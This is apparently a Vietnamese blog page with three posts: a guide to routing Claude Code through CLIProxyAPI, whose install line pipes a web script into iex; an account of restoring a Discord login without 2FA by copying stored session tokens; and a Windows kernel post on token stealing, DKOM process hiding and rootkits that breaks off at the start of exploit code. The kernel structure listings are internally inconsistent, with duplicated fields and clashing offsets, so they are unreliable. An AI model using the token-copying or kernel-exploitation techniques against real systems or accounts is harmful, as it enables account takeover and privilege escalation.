Wanderlens

Integrating CLIPROXYAPI with Claude Code: A Practical Guide

Thu, 22 Jan 2026 00:00:00 GMT

"Bạn yêu thích khả năng coding của Claude Code nhưng đau ví vì API cost? Hay bạn muốn dùng context siêu to khổng lồ của Gemini 3 Pro ngay trong giao diện dòng lệnh của Anthropic? Bài viết này sẽ giúp bạn biến Claude Code thành công cụ 'bá đạo' nhất với sự trợ giúp của CLIPROXYAPI.

CLIPROXYAPI là gì?

Link: https://github.com/router-for-me/CLIProxyAPI

CLIProxyAPI là một proxy API server mạnh mẽ dành cho các công cụ AI CLI như Claude Code, Gemini CLI, ChatGPT Codex và nhiều coding cli tool khác. Dự án cung cấp một API endpoint thống nhất tương thích với các chuẩn OpenAI, Claude, Gemini… để chúng ta có thể dễ dàng quản lý xác thực OAuth, điều phối yêu cầu đến nhiều nhà cung cấp AI khác nhau, và chuyển đổi định dạng API tự động - giúp các công cụ CLI sử dụng các model AI khác nhau một cách liền mạch mà không cần API key riêng từng dịch vụ.

Tại sao lại là Claude Code?

Claude Code là công cụ AI CLI hỗ trợ developer làm việc trực tiếp với code trong terminal, từ phân tích codebase, viết và refactor code đến debug và giải thích logic. Điểm mạnh của Claude Code nằm ở khả năng hiểu ngữ cảnh code lớn và reasoning sâu, giúp xử lý hiệu quả các tác vụ phức tạp như refactor quy mô lớn hoặc phân tích kiến trúc hệ thống.

Fire it up?

Install ClaudeCode

irm https://claude.ai/install.ps1 | iex

Setting up CLIProxyAPI

Chúng ta có thể download file binary tuỳ vào os. Hoặc có thể dùng CLIProxyAPIPlus để có thể add thêm GitHub Copilot và Kiro (AWS CodeWhisperer). Tạo file config.yaml(copy từ file config.example.yaml) Ở đây chúng ta có thể điều chỉnh host(nếu host CLIProxyAPI trên server thì chỉnh lại thành "0.0.0.0") và port. Ngoài ra, có thể dùng remote-management để tiện quản lý Quota cũng như account(ở đây mình chỉ dùng cli nên bỏ qua). Sau đó connect tới các provider, ở đây tôi dùng Antigravity và Codex. Antigravity

 ./cli-proxy-api --antigravity-login

Codex

 ./cli-proxy-api --codex-login

Get it done

Sau khi connect thành công thì chúng ta có thể set env trỏ ClaudeCode gọi đến API server của chúng ta. Ở đây, tôi sử dụng windows nên viết 1 powershell snipet như sau:

$env:ANTHROPIC_BASE_URL   = "http://127.0.0.1:8317"   
$env:ANTHROPIC_AUTH_TOKEN = "sk-dummy"             

$env:ANTHROPIC_DEFAULT_SONNET_MODEL = "gemini-claude-sonnet-4-5-thinking"
$env:ANTHROPIC_DEFAULT_OPUS_MODEL   = "gemini-claude-opus-4-5-thinking"
$env:ANTHROPIC_DEFAULT_HAIKU_MODEL   = "gemini-3-pro-preview"

$Global:CC_MODELS = @(
  # GPT (10)
  "gpt-5",
  "gpt-5-codex",
  "gpt-5.1-codex-max",
  "gpt-5.2",
  "gpt-oss-120b-medium",
  "gpt-5.2-codex",
  "gpt-5-codex-mini",
  "gpt-5.1",
  "gpt-5.1-codex",
  "gpt-5.1-codex-mini",

  # Claude (3)
  "gemini-claude-sonnet-4-5-thinking",
  "gemini-claude-opus-4-5-thinking",
  "gemini-claude-sonnet-4-5",

  # Gemini (6)
  "gemini-2.5-computer-use-preview-10-2025",
  "gemini-3-pro-preview",
  "gemini-3-flash-preview",
  "gemini-2.5-flash",
  "gemini-2.5-flash-lite",
  "gemini-3-pro-image-preview",

  # Qwen (2)
  "qwen3-coder-plus",
  "qwen3-coder-flash",

  # Other (1)
  "vision-model"
)

function cc-list {
  # In list models ra màn hình
  $Global:CC_MODELS
}

function cc {
  param(
    [Parameter(Mandatory)][ValidateNotNullOrEmpty()]
    [string]$Model
  )

  if ($Global:CC_MODELS -notcontains $Model) {
    Write-Warning "Model '$Model' không có trong CC_MODELS (nhưng vẫn thử chạy)."
  }

  claude --model $Model
}

function cc-set-tiers {
  param(
    [Parameter(Mandatory)][string]$Opus,
    [Parameter(Mandatory)][string]$Sonnet,
    [Parameter(Mandatory)][string]$Haiku
  )

  $env:ANTHROPIC_DEFAULT_OPUS_MODEL   = $Opus
  $env:ANTHROPIC_DEFAULT_SONNET_MODEL = $Sonnet
  $env:ANTHROPIC_DEFAULT_HAIKU_MODEL  = $Haiku

  Write-Host "OK. opus=$Opus | sonnet=$Sonnet | haiku=$Haiku"
}

function cc-opus   { claude --model opus   }  # dùng alias "opus"
function cc-sonnet { claude --model sonnet }  # dùng alias "sonnet"
function cc-haiku  { claude --model haiku  }  # dùng alias "haiku"
function cc-gemini { claude --model "gemini-3-pro-preview"}
function cc-gpt { claude --model "gpt-5.2"}
function cc-gpt-codex { claude --model "gpt-5.2-codex"}

Ở đây chúng ta có thể dùng các alias như cc-opus, cc-gemini, cc-gpt,... để mở ClaudeCode với các model tương ứng.

Ngoài ra, chúng ta có thể sử dụng các implementation khác như ccs, antigravity-tool, … để tối ưu việc quản lý session cũng như xử lý các luồng thực thi song song (parallel sequence).

Tôi đã tìm lại Discord của mình trong đống tàn tích của Windows.old

Tue, 28 Oct 2025 00:00:00 GMT

Khi Panic Mode Được Kích Hoạt

Bạn đã bao giờ trải qua cảm giác tim như ngừng đập khi nhận ra mình vừa mất quyền truy cập vào một tài khoản quan trọng chưa? Đó chính xác là những gì tôi cảm thấy sau khi hoàn tất việc cài lại Windows - một màn hình đăng nhập Discord đang chờ đợi mã 2FA mà tôi... đã quên backup.

"Oh sh*t moment" - đó là cụm từ duy nhất trong đầu tôi lúc đó.

Tài khoản Discord không chỉ là nơi chat với bạn bè. Đó là:

Hàng trăm servers với kiến thức quý giá
Các cuộc trò chuyện công việc không thể mất
Bot và automation đã config công phu
Nitro subscription đang chạy...

Và giờ, tất cả sắp bay màu chỉ vì một con số 6 chữ số mà tôi không thể lấy được.

The Lightbulb Moment 💡

Sau 30 phút ngồi nhìn màn hình với tâm trạng muốn đập máy, não tôi chợt lóe lên một ý tưởng:

"Wait... Discord phải lưu session ở đâu đó trên máy mình chứ nhỉ?"

Và rồi một suy nghĩ khác nối tiếp:

"Windows.old! Thư mục chứa toàn bộ dữ liệu từ Windows cũ vẫn còn đó!"

Đây chính là turning point. Từ chỗ tuyệt vọng, tôi bắt đầu thấy ánh sáng cuối đường hầm.

The Rescue Mission

Okay, bây giờ đến phần quan trọng nhất - làm thế nào để cứu vãn tình thế. Đây là quy trình mà tôi đã thực hiện và nó đã work like a charm.

Bước 1: Xác Nhận Windows.old Vẫn Còn Tồn Tại

Trước tiên, hãy kiểm tra xem Windows có tạo backup cho bạn không:

# Mở File Explorer, navigate đến:
C:\Windows.old\

Pro tip: Nếu bạn không thấy thư mục này, có thể bạn đã:

Xóa nó đi (RIP)
Cài Windows với option "Custom" và format hoàn toàn ổ cứng
Đã quá 30 ngày và Windows tự động dọn dẹp

Nếu thư mục vẫn còn, chúc mừng! Bạn vẫn còn cơ hội.

Bước 2: Deep Dive Vào Discord Data

Discord lưu trữ dữ liệu ở hai vị trí chính. Chúng ta cần cả hai:

Location 1: Roaming Data (chứa settings và configs)

C:\Windows.old\Users\[TênUser]\AppData\Roaming\Discord\

Location 2: Local Data (chứa cache và quan trọng nhất - tokens)

C:\Windows.old\Users\[TênUser]\AppData\Local\Discord\

Đây là những gì bạn cần tìm trong mỗi thư mục:

Trong Roaming:

Local Storage/ - Chứa authentication tokens
Session Storage/ - Chứa session data
settings.json - User preferences

Trong Local:

Cache/ - Cached data
Local Storage/leveldb/ - JACKPOT! Đây là nơi chứa token

Bước 3: The Great Token Migration

Bây giờ là lúc thực hiện "phép màu". Tôi khuyên bạn nên làm theo thứ tự này:

3.1. Đóng Discord hoàn toàn

# Mở Task Manager (Ctrl + Shift + Esc)
# Kill tất cả process liên quan đến Discord
# Hoặc dùng command line:
taskkill /F /IM Discord.exe

3.2. Backup dữ liệu hiện tại (just in case)

# Navigate đến thư mục Discord mới
C:\Users\[TênUser]\AppData\Roaming\Discord\
# Rename folder thành Discord_backup

3.3. Copy toàn bộ data từ Windows.old

Có hai cách tiếp cận:

Option A: Copy Everything (Recommended cho người mới)

Source: C:\Windows.old\Users\[TênUser]\AppData\Roaming\Discord\
Destination: C:\Users\[TênUser]\AppData\Roaming\Discord\

Option B: Surgical Precision (Cho người muốn hiểu rõ hơn)

Chỉ copy những thư mục quan trọng:

Local Storage\ - Contains tokens
Session Storage\ - Session data
Cookies - Session cookies
IndexedDB\ - Additional stored data

Tương tự cho thư mục Local:

Source: C:\Windows.old\Users\[TênUser]\AppData\Local\Discord\
Destination: C:\Users\[TênUser]\AppData\Local\Discord\

3.4. Verify permissions

Windows đôi khi có thể khóa permissions. Nếu gặp lỗi:

# Right-click folder > Properties > Security
# Đảm bảo user account của bạn có Full Control

Bước 4: The Moment of Truth

Khởi động lại Discord
Chờ đợi... (đây là lúc tim đập thình thịch)
BOOM! Bạn đã đăng nhập mà không cần 2FA!

Nếu thành công, bạn sẽ thấy:

Avatar và username của bạn
Tất cả servers
Message history
Everything như trước khi reinstall

Behind The Scenes: Technical Deep Dive

Để hiểu tại sao phương pháp này hoạt động, chúng ta cần nói về cách Discord (và hầu hết các ứng dụng hiện đại) xử lý authentication.

Discord Token Architecture

Discord sử dụng một hệ thống authentication token-based với các đặc điểm sau:

1. Token Storage Location

Local Storage/leveldb/
├── CURRENT
├── LOCK
├── LOG
├── MANIFEST-000001
└── *.ldb files  ← Tokens được lưu ở đây

Tokens được lưu trong LevelDB - một key-value store được Google phát triển. Đây là lựa chọn phổ biến cho Electron apps (Discord được xây dựng trên Electron).

2. Token Lifecycle

User Login
    ↓
Discord API Authentication
    ↓
JWT Token Generated (signed với secret key)
    ↓
Token Stored in Local Storage
    ↓
Every Request → Token in Header
    ↓
Server Validates Token

3. Tại Sao Copy Token Vẫn Hoạt Động?

Đây là điều thú vị:

// Pseudo-code của Discord authentication flow
const storedToken = localStorage.getItem('token');

if (storedToken && !isExpired(storedToken)) {
    // Token vẫn còn hạn → Skip login
    authenticateWithToken(storedToken);
} else {
    // Yêu cầu đăng nhập lại
    showLoginScreen();
}

Discord tokens có lifetime rất dài (thường là vài tháng đến vô thời hạn nếu không có security event). Khi bạn copy token từ Windows.old:

Token vẫn valid - Chưa expire
Device fingerprint không quan trọng - Discord không bind token chặt chẽ với device ID
IP có thể khác - Nhưng Discord cho phép (vì user có thể di chuyển)
Session persistence - Token được design để tồn tại qua reinstalls

The Security Implications

Đây là con dao hai lưỡi:

Ưu điểm cho User Experience:

Không cần đăng nhập lại liên tục
Seamless experience giữa các devices
Recovery được account như case của tôi

Rủi ro bảo mật:

Nếu ai đó có physical access vào máy bạn
    → Copy thư mục Discord
        → Paste vào máy họ
            → Họ đã có full access vào account của bạn

Vì sao 2FA không giúp được ở đây?

2FA chỉ bảo vệ tại thời điểm login. Sau khi authenticated:

2FA Challenge → Passed → Token Generated
                              ↓
                        Token có full permissions
                              ↓
                        Copy token = Copy permissions

How Discord Could Prevent This

Discord có thể implement:

Device Binding

token: {
    userId: "...",
    deviceId: hash(hwid),  // Bind to hardware
    signature: "..."
}

Frequent Re-authentication

if (timeSinceLastAuth > 7_DAYS) {
    requireReauth();
}

Anomaly Detection

if (deviceChanged || ipCountryChanged) {
    sendSecurityAlert();
    requireReauth();
}

Nhưng tất cả đều có trade-off với user experience.

Troubleshooting: Khi Mọi Thứ Không Như Ý Muốn

Okay, nếu bạn đang đọc phần này, có nghĩa là something went wrong. Đừng panic! Dưới đây là các vấn đề phổ biến và cách xử lý:

Problem 1: Discord Vẫn Yêu Cầu 2FA

Triệu chứng:

Bạn đã copy tất cả files
Discord khởi động nhưng vẫn hiện màn hình login
Vẫn yêu cầu mã 2FA

Possible causes & solutions:

Cause 1: Token đã expired
Solution: Token có thể đã hết hạn nếu bạn cài lại Windows sau nhiều tuần/tháng
→ Thử contact Discord support với backup codes

Cause 2: Copy thiếu files
Solution:
→ Kiểm tra lại cả Roaming VÀ Local folders
→ Đảm bảo copy cả leveldb folder trong Local Storage

Cause 3: Permissions issue
Solution:
→ Right-click Discord folder
→ Properties > Security > Edit
→ Đảm bảo user của bạn có Full Control

Problem 2: Discord Crashes Khi Khởi Động

Triệu chứng:

Discord mở lên rồi crash ngay
Hoặc hiện white screen rồi đóng

Solutions:

# Method 1: Clear cache nhưng giữ token
1. Xóa Cache folder:
   C:\Users\[User]\AppData\Local\Discord\Cache\

2. Xóa GPUCache:
   C:\Users\[User]\AppData\Local\Discord\GPUCache\

3. GIỮ NGUYÊN Local Storage folder

# Method 2: Reinstall Discord nhưng backup token
1. Copy Local Storage folder ra Desktop
2. Uninstall Discord hoàn toàn
3. Cài lại Discord mới
4. Copy Local Storage folder vào lại

Problem 3: "Unable to Connect" Error

Triệu chứng:

Discord mở được nhưng stuck ở "Unable to connect"
Hoặc "Connecting..." vô tận

Solutions:

# Check 1: Internet connection
ping discord.com

# Check 2: Discord servers status
# Visit: https://discordstatus.com

# Check 3: Firewall/Antivirus
→ Add Discord to firewall exceptions
→ Temporarily disable antivirus và test

# Check 4: DNS issues
→ Thử đổi DNS sang 8.8.8.8 (Google DNS)

Problem 4: Không Tìm Thấy Windows.old

Triệu chứng:

Folder Windows.old không tồn tại
Hoặc đã bị xóa

Alternative solutions:

Option 1: Data Recovery Software
→ Sử dụng Recuva, EaseUS, hoặc tương tự
→ Scan ổ cứng tìm deleted files
→ Recover thư mục Discord

Option 2: File History (nếu đã bật)
→ Right-click Discord folder
→ Restore previous versions
→ Chọn version trước khi reinstall

Option 3: Cloud Backup
→ Check OneDrive, Google Drive
→ Xem có backup AppData không

Option 4: Contact Discord Support
→ Submit ticket với proof of ownership
→ Giải thích tình huống
→ Họ có thể disable 2FA (mất vài ngày)

Best Practices: Đừng Để Bi Kịch Lặp Lại

Sau khi recover thành công, hãy làm những điều sau NGAY LẬP TỨC:

1. Security Hardening

 Đổi mật khẩu Discord ngay
 Setup lại 2FA (Authenticator app, không phải SMS)
 Backup recovery codes VÀO 3 NƠI:
   - Password manager (Bitwarden, 1Password)
   - Encrypted file trong cloud (Google Drive, OneDrive)
   - Physical paper trong két an toàn

 Enable "Require 2FA for guild admin actions"
 Review "Authorized Apps" trong User Settings
 Check "Devices" và revoke unknown sessions

2. Data Backup Strategy

Tạo một backup routine:

# Script để backup Discord data (chạy hàng tuần)
@echo off
set SOURCE=C:\Users\%USERNAME%\AppData\Roaming\Discord
set DEST=D:\Backups\Discord_%DATE%
xcopy "%SOURCE%" "%DEST%" /E /I /Y

# Hoặc dùng robocopy cho advanced users
robocopy "%SOURCE%" "%DEST%" /MIR /Z /LOG:backup.log

3. Pre-Reinstall Checklist

Trước khi reinstall Windows lần sau:

□ Backup toàn bộ AppData\Roaming
□ Backup toàn bộ AppData\Local
□ Export browser passwords & bookmarks
□ Backup SSH keys (~/.ssh)
□ Export email client data
□ Backup game saves
□ List installed programs (Ninite, Chocolatey)
□ Take screenshots của desktop & taskbar layouts
□ Document installed fonts & custom themes

FAQs: Những Câu Hỏi Thường Gặp

Q: Có phải làm vậy là vi phạm ToS của Discord không?

A: Không. Bạn đang recover tài khoản CỦA CHÍNH BẠN. Điều này không vi phạm Terms of Service. Tuy nhiên, đừng bao giờ sử dụng technique này để access account của người khác.

Q: Token có bị expire không? Bao lâu?

A: Discord tokens thường có lifetime rất dài (tháng/năm). Nhưng chúng có thể invalidated nếu:

Bạn đổi password
Bạn revoke sessions trong settings
Discord phát hiện suspicious activity
Bạn enable/disable 2FA

Q: Cách này có work với Discord PTB/Canary không?

A: Có! Process hoàn toàn giống nhau. Chỉ cần thay "Discord" bằng "DiscordPTB" hoặc "DiscordCanary" trong paths.

Q: Tôi có thể copy token sang máy khác không?

A: Technically yes, nhưng KHÔNG NÊN vì:

Rủi ro bảo mật cao
Có thể trigger security alerts
Vi phạm best practices
Dùng QR code login hoặc browser thay vì

Q: Làm sao để extract raw token từ leveldb?

# Dùng tool như DB Browser for SQLite hoặc leveldb-cli
# Nhưng không recommend vì:
1. Có thể corrupt database
2. Token được obfuscated
3. Không cần thiết - copy cả folder là đủ

Q: Method này có work với các app khác không?

A: Có! Hầu hết Electron apps (Slack, VS Code, Spotify, etc.) đều lưu data tương tự. Technique này có thể áp dụng cho:

Slack
Microsoft Teams
Spotify (playlists offline)
VS Code (settings, extensions)
Telegram Desktop

Kết Luận: Bài Học Từ Một Disaster

Nhìn lại toàn bộ journey này, tôi nhận ra vài điều:

1. Backup Không Bao Giờ Là Dư Thừa

Có câu nói trong ngành IT:

"There are two types of people: those who backup, and those who will backup."

Tôi đã học được bài học này theo cách khó khăn. May mắn là Windows.old đã saved the day, nhưng không phải lúc nào cũng may mắn như vậy.

2. Understanding > Googling

Việc hiểu cách authentication tokens hoạt động đã giúp tôi tự mình tìm ra solution. Thay vì chỉ Google "how to recover Discord without 2FA", tôi research về:

Token storage mechanisms
Electron app architecture
Windows file system structure

Kiến thức này valuable hơn nhiều so với một quick fix.

3. Security vs Convenience

Case này highlight một tension cơ bản trong tech:

Too much security → Bad UX → Users find workarounds → Less secure
Too little security → Easy to hack → Users lose accounts

Discord chọn lean về convenience (long-lived tokens), điều này vừa saved tôi, vừa là potential security risk.

Final Thoughts

Nếu bạn đang đọc những dòng này trong cơn hoảng loạn giống như tôi từng trải qua — hít một hơi thật sâu. Rất có thể bạn vẫn còn cơ hội lấy lại tài khoản.

Còn nếu bạn chỉ đọc vì tò mò — hãy sao lưu mã 2FA của bạn ngay bây giờ. Đừng đợi đến khi mọi thứ sụp đổ mới hối hận.

Remember: The best recovery plan is the one you never have to use.

Last updated: October 28, 2025 Written with ☕ and a lot of relief after recovering my account

Windows Process & Thread Internals: EPROCESS, KTHREAD & Exploitation

Sun, 12 Oct 2025 00:00:00 GMT

Giới thiệu

Processes và threads là fundamental building blocks của bất kỳ operating system nào. Trong Windows, việc hiểu process/thread internals không chỉ critical cho system programming mà còn essential cho privilege escalation, process hiding, và token manipulation attacks.

Bài này deep dive vào kernel structures (EPROCESS, KPROCESS, ETHREAD, KTHREAD), process/thread creation flow, scheduler internals, và most importantly - practical exploitation techniques bao gồm token stealing, DKOM (Direct Kernel Object Manipulation), và process hiding.

Tại sao Process/Thread Internals quan trọng?

Đối với Privilege Escalation:

Token stealing/manipulation → SYSTEM privileges
Process token duplication
Impersonation attacks
SeDebugPrivilege exploitation

Đối với Rootkit Development:

Process hiding (DKOM techniques)
Thread hiding
Unlinking từ PsActiveProcessHead
Callback manipulation

Đối với Malware Analysis:

Understanding process injection
Thread context analysis
Detecting hidden processes
Memory forensics

Process Structures Overview

Windows kernel maintains process information trong multiple interconnected structures:

┌─────────────────────────────────────────────────┐
│            Process Structures                    │
├─────────────────────────────────────────────────┤
│                                                 │
│  ┌─────────────────────────────────────────┐  │
│  │         EPROCESS                        │  │
│  │  (Executive Process Block)              │  │
│  │                                         │  │
│  │  - Process ID (UniqueProcessId)        │  │
│  │  - Parent PID (InheritedFromUniqueProcessId) │
│  │  - Process name (ImageFileName)        │  │
│  │  - Token pointer                        │  │
│  │  - VAD root                             │  │
│  │  - Handle table                         │  │
│  │  - PEB pointer                          │  │
│  │  - Active process links                 │  │
│  │                                         │  │
│  │  ┌───────────────────────────────────┐ │  │
│  │  │      KPROCESS                     │ │  │
│  │  │  (Kernel Process Block)           │ │  │
│  │  │                                   │ │  │
│  │  │  - DirectoryTableBase (CR3)       │ │  │
│  │  │  - Process threads list           │ │  │
│  │  │  - Process priority               │ │  │
│  │  │  - Affinity mask                  │ │  │
│  │  └───────────────────────────────────┘ │  │
│  └─────────────────────────────────────────┘  │
│                                                 │
│  ┌─────────────────────────────────────────┐  │
│  │         PEB (User-mode)                 │  │
│  │  (Process Environment Block)            │  │
│  │                                         │  │
│  │  - Loaded modules (LDR)                 │  │
│  │  - Process parameters                   │  │
│  │  - Heap information                     │  │
│  └─────────────────────────────────────────┘  │
│                                                 │
└─────────────────────────────────────────────────┘

EPROCESS Structure (Simplified)

typedef struct _EPROCESS {
    KPROCESS Pcb;                           // +0x000 Kernel process block

    EX_PUSH_LOCK ProcessLock;               // +0x438 Process lock
    LARGE_INTEGER CreateTime;               // +0x440 Creation time
    LARGE_INTEGER ExitTime;                 // +0x448 Exit time

    EX_RUNDOWN_REF RundownProtect;          // +0x450

    HANDLE UniqueProcessId;                 // +0x440 Process ID (PID)
    LIST_ENTRY ActiveProcessLinks;          // +0x448 Doubly-linked list

    ULONG_PTR ProcessQuotaUsage[2];         // +0x460
    ULONG_PTR ProcessQuotaPeak[2];          // +0x470

    SIZE_T VirtualSize;                     // +0x490 Virtual size
    SIZE_T PeakVirtualSize;                 // +0x498

    ULONG_PTR NumberOfPrivatePages;         // +0x4A0

    LONG ModifiedPageCount;                 // +0x4A8

    union {
        struct {
            ULONG JobNotReallyActive  : 1;
            ULONG AccountingFolded    : 1;
            ULONG NewProcessReported  : 1;
            ULONG ExitProcessReported : 1;
            // ... more flags
        };
        ULONG Flags;
    } u1;

    ULONG_PTR CreateTime;                   // +0x4B0

    HANDLE InheritedFromUniqueProcessId;    // +0x550 Parent PID

    PVOID ObjectTable;                      // +0x570 Handle table

    PVOID Token;                            // +0x4B8 Process token (EX_FAST_REF)

    PMM_AVL_TABLE VadRoot;                  // +0x7D8 VAD tree root

    PVOID DeviceMap;                        // +0x670

    PVOID Session;                          // +0x678 Session pointer

    CHAR ImageFileName[15];                 // +0x5A8 Process name

    LIST_ENTRY JobLinks;                    // +0x5B8

    PVOID ThreadListHead;                   // +0x5E0 Head of thread list

    // ... many more fields (structure is ~0x800+ bytes)

} EPROCESS, *PEPROCESS;

Note: EPROCESS structure size và field offsets thay đổi giữa Windows versions. Offsets ở đây là for Windows 10 x64. Always use symbols hoặc pattern matching để locate fields dynamically trong exploits.

Key EPROCESS Fields cho Exploitation

UniqueProcessId (PID):

Handle value representing process
Used để identify processes
PID enumeration attacks

ActiveProcessLinks:

Doubly-linked list linking tất cả processes
Used bởi PsActiveProcessHead
DKOM target: Unlink để hide processes

Token:

Points đến process access token (EX_FAST_REF)
Contains security context (privileges, SIDs)
Primary exploitation target cho privilege escalation

ImageFileName:

15-character process name
Not full path, chỉ tên file
Used bởi process enumeration tools

InheritedFromUniqueProcessId:

Parent process ID
Used để build process tree
Forensics và detection

Thread Structures Overview

Mỗi process chứa một hoặc nhiều threads. Thread structures tương tự process structures:

┌─────────────────────────────────────────────────┐
│            Thread Structures                     │
├─────────────────────────────────────────────────┤
│                                                 │
│  ┌─────────────────────────────────────────┐  │
│  │         ETHREAD                         │  │
│  │  (Executive Thread Block)               │  │
│  │                                         │  │
│  │  - Thread ID (Cid.UniqueThread)        │  │
│  │  - Process pointer (owning EPROCESS)    │  │
│  │  - Start address                        │  │
│  │  - Thread state                         │  │
│  │  - Priority                             │  │
│  │  - Impersonation token                  │  │
│  │                                         │  │
│  │  ┌───────────────────────────────────┐ │  │
│  │  │      KTHREAD                      │ │  │
│  │  │  (Kernel Thread Block)            │ │  │
│  │  │                                   │ │  │
│  │  │  - Thread context (registers)     │ │  │
│  │  │  - Kernel stack                   │ │  │
│  │  │  - TEB pointer                    │ │  │
│  │  │  - Wait blocks                    │ │  │
│  │  │  - Scheduling info                │ │  │
│  │  └───────────────────────────────────┘ │  │
│  └─────────────────────────────────────────┘  │
│                                                 │
│  ┌─────────────────────────────────────────┐  │
│  │         TEB (User-mode)                 │  │
│  │  (Thread Environment Block)             │  │
│  │                                         │  │
│  │  - Thread ID                            │  │
│  │  - Last error code                      │  │
│  │  - Thread local storage (TLS)           │  │
│  │  - Stack base/limit                     │  │
│  └─────────────────────────────────────────┘  │
│                                                 │
└─────────────────────────────────────────────────┘

ETHREAD Structure (Simplified)

typedef struct _ETHREAD {
    KTHREAD Tcb;                            // +0x000 Kernel thread block

    LARGE_INTEGER CreateTime;               // +0x4B0 Thread creation time
    LARGE_INTEGER ExitTime;                 // +0x4B8 Thread exit time

    union {
        LIST_ENTRY LpcReplyChain;
        LIST_ENTRY KeyedWaitChain;
    };

    PVOID LpcReplyMessage;                  // +0x4D0

    ULONG LpcReplyMessageId;                // +0x4D8

    CLIENT_ID Cid;                          // +0x4E0 Client ID
    // Cid.UniqueProcess = Process ID
    // Cid.UniqueThread = Thread ID

    union {
        KSEMAPHORE LpcReplySemaphore;
        KSEMAPHORE KeyedWaitSemaphore;
    };

    PVOID LpcReplyMessageId;                // +0x500

    PVOID ImpersonationInfo;                // +0x4F8 Impersonation token

    LIST_ENTRY IrpList;                     // +0x508 Pending I/O requests

    ULONG_PTR TopLevelIrp;                  // +0x518

    PVOID Win32StartAddress;                // +0x520 Thread start address

    PEPROCESS ThreadsProcess;               // +0x550 Owning process

    PVOID StartAddress;                     // +0x640 Kernel start address

    // ... more fields

} ETHREAD, *PETHREAD;

Key ETHREAD Fields

Cid.UniqueThread:

Thread ID (TID)
Unique identifier cho thread

ThreadsProcess:

Pointer về owning EPROCESS
Used để get process context từ thread

Win32StartAddress:

User-mode start address của thread
Visible trong Process Explorer
Useful cho detecting injected threads

ImpersonationInfo:

Points đến impersonation token (if any)
Used cho impersonation attacks
Can be different từ process token

Process/Thread Creation Flow

Understanding creation flow giúp identify attack surfaces:

Process Creation Steps

CreateProcess() [User-mode]
        ↓
NtCreateUserProcess() [Syscall transition]
        ↓
PspCreateProcess() [Kernel]
        ↓
    ┌───────────────────────────────────┐
    │ 1. Allocate EPROCESS structure    │
    │    - ExAllocatePoolWithTag()      │
    │    - Initialize fields            │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 2. Create process address space   │
    │    - Allocate page directory (CR3)│
    │    - Setup VAD tree               │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 3. Create process token           │
    │    - Duplicate parent token       │
    │    - Or create new token          │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 4. Map executable image           │
    │    - Parse PE headers             │
    │    - Map sections                 │
    │    - Resolve imports              │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 5. Create initial thread          │
    │    - PspCreateThread()            │
    │    - Setup thread context         │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 6. Process callbacks              │
    │    - Notify registered callbacks  │
    │    - PsSetCreateProcessNotifyRoutine│
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 7. Insert into process list       │
    │    - Link vào PsActiveProcessHead │
    └───────────────────────────────────┘

Thread Creation Steps

CreateThread() [User-mode]
        ↓
NtCreateThreadEx() [Syscall]
        ↓
PspCreateThread() [Kernel]
        ↓
    ┌───────────────────────────────────┐
    │ 1. Allocate ETHREAD structure     │
    │    - ExAllocatePoolWithTag()      │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 2. Allocate kernel stack          │
    │    - Non-paged pool               │
    │    - Default: 12 KB (x64)         │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 3. Initialize KTHREAD             │
    │    - Setup thread context         │
    │    - Set start address            │
    │    - Initialize registers         │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 4. Allocate TEB (user-mode)       │
    │    - Thread Environment Block     │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 5. Thread callbacks               │
    │    - Notify registered callbacks  │
    │    - PsSetCreateThreadNotifyRoutine│
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 6. Insert into process thread list│
    │    - Ready for scheduling         │
    └───────────────────────────────────┘

Token Structure & Manipulation

Access tokens chứa security context của process/thread. Đây là primary target cho privilege escalation.

TOKEN Structure (Simplified)

typedef struct _TOKEN {
    TOKEN_SOURCE TokenSource;               // Token source
    LUID TokenId;                           // Token ID
    LUID AuthenticationId;                  // Authentication ID (LUID)
    LUID ParentTokenId;                     // Parent token ID

    LARGE_INTEGER ExpirationTime;           // Expiration time

    LUID ModifiedId;                        // Modified ID

    TOKEN_TYPE TokenType;                   // Primary or Impersonation

    SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;

    ULONG DynamicCharged;
    ULONG DynamicAvailable;

    ULONG DefaultOwnerIndex;                // Default owner SID index

    PSID_AND_ATTRIBUTES UserAndGroups;      // User SID + group SIDs
    ULONG UserAndGroupCount;

    PSID_AND_ATTRIBUTES RestrictedSids;     // Restricted SIDs
    ULONG RestrictedSidCount;

    PVOID Privileges;                       // Privileges (LUID_AND_ATTRIBUTES)
    ULONG PrivilegeCount;

    LUID TokenId;                           // Token identifier

    ULONG SessionId;                        // Session ID

    // ... more fields

} TOKEN, *PTOKEN;

Token Types

Primary Token:

Associated với process
Stored trong EPROCESS.Token
Inherited từ parent process (usually)

Impersonation Token:

Associated với thread
Stored trong ETHREAD.ImpersonationInfo
Allows thread to act as different user
Used bởi services (e.g., IIS, SQL Server)

Token Privileges

Common privileges critical cho exploitation:

Privilege	Constant	Description
SeDebugPrivilege	20	Debug programs
SeLoadDriverPrivilege	10	Load/unload drivers
SeTakeOwnershipPrivilege	9	Take ownership of files/objects
SeRestorePrivilege	18	Restore files/directories
SeBackupPrivilege	17	Backup files/directories
SeImpersonatePrivilege	29	Impersonate clients
SeAssignPrimaryTokenPrivilege	3	Replace process token

Practical Exploitation: Token Stealing

Token stealing là classic privilege escalation technique. Idea: replace current process token với SYSTEM token.

Technique 1: Token Stealing via EPROCESS

Step 1: Find SYSTEM process (PID 4)

PEPROCESS pSystemProcess = NULL;
NTSTATUS status;

// Method 1: Lookup by PID
status = PsLookupProcessByProcessId((HANDLE)4, &pSystemProcess);

// Method 2: Walk process list
PEPROCESS pCurrentProcess = PsGetCurrentProcess();
PLIST_ENTRY pListEntry = (PLIST_ENTRY)((PUCHAR)pCurrentProcess + ACTIVEPROCESSLINKS_OFFSET);
